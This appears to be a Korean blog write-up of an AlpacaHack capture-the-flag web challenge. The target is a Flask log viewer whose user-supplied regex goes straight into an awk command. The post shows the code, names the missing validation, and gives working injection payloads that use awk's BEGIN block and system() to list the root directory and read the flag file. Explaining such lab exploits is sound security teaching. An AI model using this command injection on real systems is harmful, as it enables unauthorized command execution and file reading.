반응형
문제설명
Topic: Remote Code Execution
분야: Web
난이도: Medium
Simple log viewer with regex feature.
코드분석
@app.route("/", methods=["GET", "POST"])
def index():
query = ""
log = ""
if request.method == "POST":
query = request.form.get("query", "")
command = ["awk", f"/{query}/", "info.log"]
result = subprocess.run(
command,
capture_output=True,
timeout=0.5,
text=True,
)
log = result.stderr or result.stdout
return render_template(
"index.html",
log=log,
query=query,
)
- query를 사용자로부터 입력받음
- command는 "awk" = 실행할 프로그램 / "/query/" = awk 패턴(정규식) / info.log = 입력파일
- 에러출력이 있으면 그걸 우선 보여주고 없으면 정상 출력을 보여줌
취약점 분석
- 사용자가 입력한 쿼리가 아무런 검증 없이 command로 그대로 실행됨
익스플로잇
파일 내용 상관없이 무조건 실행되게 하기 위해 BEGIN 블록을 사용
아래와 같이 페이로드를 작성해주면
x/;BEGIN{system("ls /")}#
# 실행되는 코드
awk /x/; BEGIN{system("ls / ")} #

flag 파일을 찾을 수 있음
flag 파일을 읽기 위해서 다음과 같이 페이로드를 작성해 줌
x/;BEGIN{system("cat /flag-*")}#
# 실행되는 코드
awk /x/; BEGIN{system("cat /flag-*")}#

반응형
'Alpacahack' 카테고리의 다른 글
| omikuji (0) | 2026.02.23 |
|---|---|
| Emojify (0) | 2026.02.20 |
| You are being redirected (0) | 2026.02.16 |
| Inu Profile (0) | 2026.02.11 |
| Plz Login (0) | 2026.02.09 |